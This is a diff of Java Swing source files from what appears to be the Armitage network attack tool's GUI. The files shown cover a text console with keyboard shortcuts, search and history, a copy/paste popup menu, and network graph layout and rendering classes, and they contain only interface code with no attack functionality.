||||||
|
components.add(scroll);
|
||||||
|
components.add(prompt);
|
||||||
|
components.add(bottom);
|
||||||
|
components.add(this);
|
||||||
|
|
||||||
|
updateComponentLooks();
|
||||||
|
|
||||||
|
/* add keyboard shortcuts */
|
||||||
|
|
||||||
|
/* Alt+K - clear screen */
|
||||||
|
addActionForKeySetting("console.clear_screen.shortcut", "ctrl K", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
console.setText("");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
/* Ctrl+A - select all */
|
||||||
|
addActionForKeySetting("console.select_all.shortcut", "ctrl A", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
console.requestFocus();
|
||||||
|
console.selectAll();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
/* Escape - clear input buffer */
|
||||||
|
addActionForKeySetting("console.clear_buffer.shortcut", "ESCAPE", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
input.setText("");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
setupFindShortcutFeature();
|
||||||
|
setupPageShortcutFeature();
|
||||||
|
setupFontShortcutFeature();
|
||||||
|
setupHistoryFeature();
|
||||||
|
|
||||||
|
/* setup our word click listener */
|
||||||
|
clickl = new ClickListener(this);
|
||||||
|
console.addMouseListener(clickl);
|
||||||
|
}
|
||||||
|
|
||||||
|
public JPopupMenu getPopupMenu(final JTextComponent _component) {
|
||||||
|
JPopupMenu menu = new JPopupMenu();
|
||||||
|
|
||||||
|
JMenuItem cut = new JMenuItem("Cut", 'C');
|
||||||
|
JMenuItem copy = new JMenuItem("Copy", 'o');
|
||||||
|
JMenuItem paste = new JMenuItem("Paste", 'P');
|
||||||
|
JMenuItem clear = new JMenuItem("Clear", 'l');
|
||||||
|
|
||||||
|
if (_component.isEditable())
|
||||||
|
menu.add(cut);
|
||||||
|
|
||||||
|
menu.add(copy);
|
||||||
|
menu.add(paste);
|
||||||
|
menu.add(clear);
|
||||||
|
|
||||||
|
cut.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
_component.cut();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
copy.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
_component.copy();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
cut.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
_component.cut();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
paste.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
input.paste();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
clear.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
_component.setText("");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
return menu;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void setupFindShortcutFeature() {
|
||||||
|
final Properties myDisplay = display;
|
||||||
|
final Console myConsole = this;
|
||||||
|
|
||||||
|
addActionForKeySetting("console.find.shortcut", "ctrl pressed F", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
Color highlight = Color.decode(myDisplay.getProperty("console.highlight.color", "#0000cc"));
|
||||||
|
|
||||||
|
final SearchPanel search = new SearchPanel(console, highlight);
|
||||||
|
final JPanel north = new JPanel();
|
||||||
|
|
||||||
|
JButton goaway = new JButton("X ");
|
||||||
|
SearchPanel.removeBorderFromButton(goaway);
|
||||||
|
|
||||||
|
goaway.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
myConsole.remove(north);
|
||||||
|
myConsole.validate();
|
||||||
|
search.clear();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
north.setLayout(new BorderLayout());
|
||||||
|
north.add(search, BorderLayout.CENTER);
|
||||||
|
north.add(goaway, BorderLayout.EAST);
|
||||||
|
|
||||||
|
myConsole.add(north, BorderLayout.NORTH);
|
||||||
|
myConsole.validate();
|
||||||
|
|
||||||
|
search.requestFocusInWindow();
|
||||||
|
search.requestFocus();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private void setupFontShortcutFeature() {
|
||||||
|
addActionForKeySetting("console.font_size_plus.shortcut", "ctrl EQUALS", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
changeFontSize(1.0f);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("console.font_size_minus.shortcut", "ctrl MINUS", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
changeFontSize(-1.0f);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
/* Ctrl+0 - reset the font to the default size */
|
||||||
|
addActionForKeySetting("console.font_size_reset.shortcut", "ctrl pressed 0", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
|
||||||
|
updateComponentLooks();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private void setupPageShortcutFeature() {
|
||||||
|
addActionForKeySetting("console.page_up.shortcut", "pressed PAGE_UP", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
Rectangle visible = new Rectangle(console.getVisibleRect());
|
||||||
|
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() - (visible.getHeight() / 2) ), 1, 1);
|
||||||
|
|
||||||
|
if (scrollme.getY() <= 0) {
|
||||||
|
visible.setLocation(0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
console.scrollRectToVisible(scrollme);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("console.page_down.shortcut", "pressed PAGE_DOWN", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
Rectangle visible = new Rectangle(console.getVisibleRect());
|
||||||
|
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() + visible.getHeight() + (visible.getHeight() / 2) ), 1, 1);
|
||||||
|
|
||||||
|
if (scrollme.getY() >= console.getHeight()) {
|
||||||
|
visible.setLocation(0, console.getHeight());
|
||||||
|
}
|
||||||
|
|
||||||
|
console.scrollRectToVisible(scrollme);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/* handle the keyboard history stuff */
|
||||||
|
private void setupHistoryFeature() {
|
||||||
|
input.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
if (!"".equals(ev.getActionCommand()))
|
||||||
|
history.add(ev.getActionCommand());
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("console.history_previous.shortcut", "UP", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
if (history.hasPrevious()) {
|
||||||
|
input.setText((String)history.previous());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
input.setText("");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("console.history_next.shortcut", "DOWN", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
if (history.hasNext()) {
|
||||||
|
input.setText((String)history.next());
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
input.setText("");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private void changeFontSize(float difference) {
|
||||||
|
consoleFont = consoleFont.deriveFont(consoleFont.getSize2D() + difference);
|
||||||
|
updateComponentLooks();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKeyStroke(KeyStroke key, Action action) {
|
||||||
|
input.getKeymap().addActionForKeyStroke(key, action);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKey(String key, Action action) {
|
||||||
|
addActionForKeyStroke(KeyStroke.getKeyStroke(key), action);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKeySetting(String key, String dvalue, Action action) {
|
||||||
|
KeyStroke temp = KeyStroke.getKeyStroke(display.getProperty(key, dvalue));
|
||||||
|
if (temp != null) {
|
||||||
|
addActionForKeyStroke(temp, action);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* focus listener for our input thing */
|
||||||
|
|
||||||
|
public void focusGained(FocusEvent ev) {
|
||||||
|
if (!ev.isTemporary() && ev.getComponent() == console) {
|
||||||
|
/* this is a work-around for Windows where the user can't highlight
|
||||||
|
text because of this attempt to get focus back to the input area */
|
||||||
|
if ((System.getProperty("os.name") + "").indexOf("Windows") == -1 && (System.getProperty("os.name") + "").indexOf("Mac") == -1)
|
||||||
|
input.requestFocusInWindow();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean requestFocusInWindow() {
|
||||||
|
return input.requestFocusInWindow();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void focusLost(FocusEvent ev) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,9 @@
|
||||||
|
package console;
|
||||||
|
|
||||||
|
import java.awt.event.MouseEvent;
|
||||||
|
|
||||||
|
/** an interface to accept a clicked on word and a mouse event... it's up to the implementor to decide
|
||||||
|
what should happen with this magical information */
|
||||||
|
public interface ConsolePopup {
|
||||||
|
public void showPopup(String word, MouseEvent ev);
|
||||||
|
}
|
|
@ -0,0 +1,220 @@
|
||||||
|
package console;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.border.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import java.io.PrintStream;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** A generic multi-feature console for use in the Armitage network attack tool */
|
||||||
|
public class Display extends JPanel {
|
||||||
|
protected JTextArea console;
|
||||||
|
protected Properties display;
|
||||||
|
protected Font consoleFont;
|
||||||
|
|
||||||
|
protected LinkedList components = new LinkedList();
|
||||||
|
|
||||||
|
private void updateComponentLooks() {
|
||||||
|
Color foreground = Color.decode(display.getProperty("console.foreground.color", "#ffffff"));
|
||||||
|
Color background = Color.decode(display.getProperty("console.background.color", "#000000"));
|
||||||
|
|
||||||
|
Iterator i = components.iterator();
|
||||||
|
while (i.hasNext()) {
|
||||||
|
JComponent component = (JComponent)i.next();
|
||||||
|
component.setForeground(foreground);
|
||||||
|
component.setBackground(background);
|
||||||
|
component.setFont(consoleFont);
|
||||||
|
|
||||||
|
if (component == console) {
|
||||||
|
component.setBorder(BorderFactory.createEmptyBorder(0, 5, 0, 0));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
component.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 0));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (component instanceof JTextComponent) {
|
||||||
|
JTextComponent tcomponent = (JTextComponent)component;
|
||||||
|
tcomponent.setCaretColor(foreground.brighter());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setText(final String _text) {
|
||||||
|
if (SwingUtilities.isEventDispatchThread()) {
|
||||||
|
console.setText(_text);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
SwingUtilities.invokeLater(new Runnable() {
|
||||||
|
public void run() {
|
||||||
|
console.setText(_text);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Display() {
|
||||||
|
this(new Properties());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Display(Properties display) {
|
||||||
|
this.display = display;
|
||||||
|
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
|
||||||
|
|
||||||
|
setLayout(new BorderLayout());
|
||||||
|
setBorder(new EmptyBorder(2, 2, 2, 2));
|
||||||
|
|
||||||
|
/* init the console */
|
||||||
|
|
||||||
|
console = new JTextArea();
|
||||||
|
console.setEditable(false);
|
||||||
|
console.setLineWrap(true);
|
||||||
|
|
||||||
|
JScrollPane scroll = new JScrollPane(
|
||||||
|
console,
|
||||||
|
ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS,
|
||||||
|
ScrollPaneConstants.HORIZONTAL_SCROLLBAR_NEVER);
|
||||||
|
|
||||||
|
add(scroll, BorderLayout.CENTER);
|
||||||
|
|
||||||
|
components.add(console);
|
||||||
|
components.add(scroll);
|
||||||
|
components.add(this);
|
||||||
|
|
||||||
|
updateComponentLooks();
|
||||||
|
|
||||||
|
/* right-click, Copy menu, for the console */
|
||||||
|
new ui.CopyPopup(console);
|
||||||
|
|
||||||
|
/* add keyboard shortcuts */
|
||||||
|
|
||||||
|
/* Alt+K - clear screen */
|
||||||
|
addActionForKeySetting("console.clear_screen.shortcut", "ctrl K", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
console.setText("");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
/* Ctrl+A - select all */
|
||||||
|
addActionForKeySetting("console.select_all.shortcut", "ctrl A", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
console.requestFocus();
|
||||||
|
console.selectAll();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
setupFindShortcutFeature();
|
||||||
|
setupPageShortcutFeature();
|
||||||
|
setupFontShortcutFeature();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void setupFindShortcutFeature() {
|
||||||
|
final Properties myDisplay = display;
|
||||||
|
final Display myConsole = this;
|
||||||
|
|
||||||
|
addActionForKeySetting("console.find.shortcut", "ctrl pressed F", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
Color highlight = Color.decode(myDisplay.getProperty("console.highlight.color", "#0000cc"));
|
||||||
|
|
||||||
|
final SearchPanel search = new SearchPanel(console, highlight);
|
||||||
|
final JPanel north = new JPanel();
|
||||||
|
|
||||||
|
JButton goaway = new JButton("X ");
|
||||||
|
SearchPanel.removeBorderFromButton(goaway);
|
||||||
|
|
||||||
|
goaway.addActionListener(new ActionListener() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
myConsole.remove(north);
|
||||||
|
myConsole.validate();
|
||||||
|
search.clear();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
north.setLayout(new BorderLayout());
|
||||||
|
north.add(search, BorderLayout.CENTER);
|
||||||
|
north.add(goaway, BorderLayout.EAST);
|
||||||
|
|
||||||
|
myConsole.add(north, BorderLayout.NORTH);
|
||||||
|
myConsole.validate();
|
||||||
|
|
||||||
|
search.requestFocusInWindow();
|
||||||
|
search.requestFocus();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private void setupFontShortcutFeature() {
|
||||||
|
addActionForKeySetting("console.font_size_plus.shortcut", "ctrl EQUALS", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
changeFontSize(1.0f);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("console.font_size_minus.shortcut", "ctrl MINUS", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
changeFontSize(-1.0f);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
/* Ctrl+0 - reset the font to the default size */
|
||||||
|
addActionForKeySetting("console.font_size_reset.shortcut", "ctrl pressed 0", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
consoleFont = Font.decode(display.getProperty("console.font.font", "Monospaced BOLD 14"));
|
||||||
|
updateComponentLooks();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private void setupPageShortcutFeature() {
|
||||||
|
addActionForKeySetting("console.page_up.shortcut", "pressed PAGE_UP", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
Rectangle visible = new Rectangle(console.getVisibleRect());
|
||||||
|
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() - (visible.getHeight() / 2) ), 1, 1);
|
||||||
|
|
||||||
|
if (scrollme.getY() <= 0) {
|
||||||
|
visible.setLocation(0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
console.scrollRectToVisible(scrollme);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
addActionForKeySetting("console.page_down.shortcut", "pressed PAGE_DOWN", new AbstractAction() {
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
Rectangle visible = new Rectangle(console.getVisibleRect());
|
||||||
|
Rectangle scrollme = new Rectangle(0, (int)( visible.getY() + visible.getHeight() + (visible.getHeight() / 2) ), 1, 1);
|
||||||
|
|
||||||
|
if (scrollme.getY() >= console.getHeight()) {
|
||||||
|
visible.setLocation(0, console.getHeight());
|
||||||
|
}
|
||||||
|
|
||||||
|
console.scrollRectToVisible(scrollme);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private void changeFontSize(float difference) {
|
||||||
|
consoleFont = consoleFont.deriveFont(consoleFont.getSize2D() + difference);
|
||||||
|
updateComponentLooks();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKeyStroke(KeyStroke key, Action action) {
|
||||||
|
console.getKeymap().addActionForKeyStroke(key, action);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKey(String key, Action action) {
|
||||||
|
addActionForKeyStroke(KeyStroke.getKeyStroke(key), action);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addActionForKeySetting(String key, String dvalue, Action action) {
|
||||||
|
KeyStroke temp = KeyStroke.getKeyStroke(display.getProperty(key, dvalue));
|
||||||
|
if (temp != null) {
|
||||||
|
addActionForKeyStroke(temp, action);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,155 @@
|
||||||
|
package console;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.border.*;
|
||||||
|
import javax.swing.text.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/** a search panel for use with a JTextComponent */
|
||||||
|
public class SearchPanel extends JPanel implements ActionListener {
|
||||||
|
|
||||||
|
protected JTextField search = null;
|
||||||
|
protected JLabel status = null;
|
||||||
|
protected JTextComponent component = null;
|
||||||
|
protected int index = 0;
|
||||||
|
protected Color highlight = null;
|
||||||
|
|
||||||
|
public void actionPerformed(ActionEvent event) {
|
||||||
|
if (event.getActionCommand().equals(">")) {
|
||||||
|
index++;
|
||||||
|
scrollToIndex();
|
||||||
|
}
|
||||||
|
else if (event.getActionCommand().equals("<")) {
|
||||||
|
index--;
|
||||||
|
scrollToIndex();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
searchBuffer();
|
||||||
|
scrollToIndex();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void scrollToIndex() {
|
||||||
|
Highlighter.Highlight highlights[] = component.getHighlighter().getHighlights();
|
||||||
|
|
||||||
|
if (highlights.length == 0) {
|
||||||
|
if (search.getText().trim().length() > 0)
|
||||||
|
status.setText("Phrase not found");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (index < 0) {
|
||||||
|
index = (highlights.length - 1) - index;
|
||||||
|
}
|
||||||
|
|
||||||
|
int offset = index % highlights.length;
|
||||||
|
|
||||||
|
status.setText((offset + 1) + " of " + highlights.length);
|
||||||
|
|
||||||
|
int position = highlights[offset].getStartOffset();
|
||||||
|
Rectangle location = component.modelToView(position);
|
||||||
|
component.scrollRectToVisible(location);
|
||||||
|
}
|
||||||
|
catch (BadLocationException ex) {
|
||||||
|
//...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void searchBuffer() {
|
||||||
|
clear();
|
||||||
|
|
||||||
|
String searchstr = search.getText().trim();
|
||||||
|
|
||||||
|
if (searchstr.length() == 0)
|
||||||
|
return;
|
||||||
|
|
||||||
|
Highlighter.HighlightPainter painter = new DefaultHighlighter.DefaultHighlightPainter( highlight );
|
||||||
|
|
||||||
|
try {
|
||||||
|
String text = component.getText();
|
||||||
|
int lastIndex = -1;
|
||||||
|
while ((lastIndex = text.indexOf(searchstr, lastIndex + 1)) != -1) {
|
||||||
|
component.getHighlighter().addHighlight(
|
||||||
|
lastIndex,
|
||||||
|
lastIndex + searchstr.length(),
|
||||||
|
painter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex) {
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void removeBorderFromButton(JButton button) {
|
||||||
|
button.setOpaque(false);
|
||||||
|
button.setContentAreaFilled(false);
|
||||||
|
button.setBorder(new EmptyBorder(2, 2, 2, 2));
|
||||||
|
}
|
||||||
|
|
||||||
|
public void requestFocus() {
|
||||||
|
search.requestFocus();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void clear() {
|
||||||
|
component.getHighlighter().removeAllHighlights();
|
||||||
|
index = 0;
|
||||||
|
status.setText("");
|
||||||
|
}
|
||||||
|
|
||||||
|
public SearchPanel(JTextComponent component, Color highlight) {
|
||||||
|
this.component = component;
|
||||||
|
this.highlight = highlight;
|
||||||
|
|
||||||
|
setLayout(new BorderLayout());
|
||||||
|
setBorder(new EmptyBorder(1, 1, 1, 1));
|
||||||
|
|
||||||
|
/* init the buttons */
|
||||||
|
|
||||||
|
JButton previous = new JButton("<");
|
||||||
|
previous.setActionCommand("<");
|
||||||
|
|
||||||
|
JButton next = new JButton(">");
|
||||||
|
next.setActionCommand(">");
|
||||||
|
|
||||||
|
removeBorderFromButton(previous);
|
||||||
|
removeBorderFromButton(next);
|
||||||
|
|
||||||
|
previous.addActionListener(this);
|
||||||
|
next.addActionListener(this);
|
||||||
|
|
||||||
|
JPanel buttons = new JPanel();
|
||||||
|
buttons.setLayout(new GridLayout(1, 2));
|
||||||
|
|
||||||
|
buttons.add(previous);
|
||||||
|
buttons.add(next);
|
||||||
|
|
||||||
|
/* init the search field */
|
||||||
|
|
||||||
|
search = new JTextField(15);
|
||||||
|
search.addActionListener(this);
|
||||||
|
|
||||||
|
add(search, BorderLayout.WEST);
|
||||||
|
|
||||||
|
/* holder */
|
||||||
|
|
||||||
|
JPanel holder = new JPanel();
|
||||||
|
holder.setLayout(new FlowLayout());
|
||||||
|
|
||||||
|
holder.add(new JLabel("Find: "));
|
||||||
|
holder.add(search);
|
||||||
|
holder.add(buttons);
|
||||||
|
|
||||||
|
add(holder, BorderLayout.WEST);
|
||||||
|
|
||||||
|
/* label for count information */
|
||||||
|
|
||||||
|
status = new JLabel("");
|
||||||
|
add(status, BorderLayout.CENTER);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,90 @@
|
||||||
|
package graph;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import com.mxgraph.model.mxIGraphModel;
|
||||||
|
import com.mxgraph.util.mxRectangle;
|
||||||
|
import com.mxgraph.view.mxGraph;
|
||||||
|
import com.mxgraph.layout.*;
|
||||||
|
|
||||||
|
public class CircleLayout extends mxCircleLayout
|
||||||
|
{
|
||||||
|
public CircleLayout(mxGraph graph, double r) {
|
||||||
|
super(graph, r);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* override this so it doesn't make the circle so damned big :P */
|
||||||
|
public void execute(Object parent, int width, int height, double zoom)
|
||||||
|
{
|
||||||
|
mxIGraphModel model = graph.getModel();
|
||||||
|
model.beginUpdate();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
double max = 0;
|
||||||
|
Double top = null;
|
||||||
|
Double left = null;
|
||||||
|
List<Object> vertices = new ArrayList<Object>();
|
||||||
|
int childCount = model.getChildCount(parent);
|
||||||
|
|
||||||
|
for (int i = 0; i < childCount; i++)
|
||||||
|
{
|
||||||
|
Object cell = model.getChildAt(parent, i);
|
||||||
|
|
||||||
|
if (!isVertexIgnored(cell))
|
||||||
|
{
|
||||||
|
vertices.add(cell);
|
||||||
|
mxRectangle bounds = getVertexBounds(cell);
|
||||||
|
|
||||||
|
if (top == null)
|
||||||
|
{
|
||||||
|
top = bounds.getY();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
top = Math.min(top, bounds.getY());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (left == null)
|
||||||
|
{
|
||||||
|
left = bounds.getX();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
left = Math.min(left, bounds.getX());
|
||||||
|
}
|
||||||
|
|
||||||
|
max = Math.min(max, Math.max(bounds.getWidth(), bounds.getHeight()));
|
||||||
|
}
|
||||||
|
else if (!isEdgeIgnored(cell))
|
||||||
|
{
|
||||||
|
if (isResetEdges())
|
||||||
|
{
|
||||||
|
graph.resetEdge(cell);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isDisableEdgeStyle())
|
||||||
|
{
|
||||||
|
setEdgeStyleEnabled(cell, false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int vertexCount = vertices.size();
|
||||||
|
double r = (width > height ? height : width) / (2.80 * zoom);
|
||||||
|
|
||||||
|
// Moves the circle to the specified origin
|
||||||
|
if (moveCircle)
|
||||||
|
{
|
||||||
|
top = x0;
|
||||||
|
left = y0;
|
||||||
|
}
|
||||||
|
|
||||||
|
circle(vertices.toArray(), r, left.doubleValue(), top.doubleValue());
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
model.endUpdate();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,9 @@
|
||||||
|
package graph;
|
||||||
|
|
||||||
|
import java.awt.event.MouseEvent;
|
||||||
|
|
||||||
|
/** an interface to accept a clicked on word and a mouse event... it's up to the implementor to decide
|
||||||
|
what should happen with this magical information */
|
||||||
|
public interface GraphPopup {
|
||||||
|
public void showGraphPopup(String[] nodes, MouseEvent ev);
|
||||||
|
}
|
|
@ -0,0 +1,495 @@
|
||||||
|
package graph;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.*;
|
||||||
|
import javax.swing.border.*;
|
||||||
|
|
||||||
|
import java.awt.*;
|
||||||
|
import java.awt.event.*;
|
||||||
|
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
import com.mxgraph.swing.*;
|
||||||
|
import com.mxgraph.view.*;
|
||||||
|
import com.mxgraph.model.*;
|
||||||
|
import com.mxgraph.layout.*;
|
||||||
|
import com.mxgraph.swing.util.*;
|
||||||
|
import com.mxgraph.swing.handler.*;
|
||||||
|
import com.mxgraph.swing.view.*;
|
||||||
|
import com.mxgraph.util.*;
|
||||||
|
|
||||||
|
import java.awt.image.*;
|
||||||
|
|
||||||
|
public class NetworkGraph extends JComponent implements ActionListener {
|
||||||
|
protected mxGraph graph;
|
||||||
|
protected mxGraphComponent component;
|
||||||
|
protected Object parent;
|
||||||
|
protected Properties display;
|
||||||
|
protected boolean isAlive = true;
|
||||||
|
protected String layout = null;
|
||||||
|
|
||||||
|
/** this component listens for an actionevent from the GUI to tell it when the graph is no longer visible */
|
||||||
|
public void actionPerformed(ActionEvent ev) {
|
||||||
|
isAlive = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** returns true if this graph is still in a tab, false otherwise */
|
||||||
|
public boolean isAlive() {
|
||||||
|
return isAlive;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* keeps track of the nodes and their images */
|
||||||
|
protected Map nodeImages = new HashMap();
|
||||||
|
|
||||||
|
private class NetworkGraphCanvas extends mxInteractiveCanvas {
|
||||||
|
public Image loadImage(String image) {
|
||||||
|
if (nodeImages.containsKey(image)) {
|
||||||
|
return (Image)nodeImages.get(image);
|
||||||
|
}
|
||||||
|
|
||||||
|
return super.loadImage(image);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* this class exists so we can create a canvas that lets us add our own image loading handler */
|
||||||
|
private class NetworkGraphComponent extends mxGraphComponent {
|
||||||
|
public NetworkGraphComponent(mxGraph graph) {
|
||||||
|
super(graph);
|
||||||
|
setBorder(BorderFactory.createEmptyBorder());
|
||||||
|
getHorizontalScrollBar().setUnitIncrement(15);
|
||||||
|
getHorizontalScrollBar().setBlockIncrement(60);
|
||||||
|
getVerticalScrollBar().setUnitIncrement(15);
|
||||||
|
getVerticalScrollBar().setBlockIncrement(60);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void paint(Graphics g) {
|
||||||
|
Graphics2D g2 = (Graphics2D)g;
|
||||||
|
g2.setRenderingHint(RenderingHints.KEY_INTERPOLATION,RenderingHints.VALUE_INTERPOLATION_BICUBIC);
|
||||||
|
g2.setRenderingHint(RenderingHints.KEY_RENDERING,RenderingHints.VALUE_RENDER_QUALITY);
|
||||||
|
g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON);
|
||||||
|
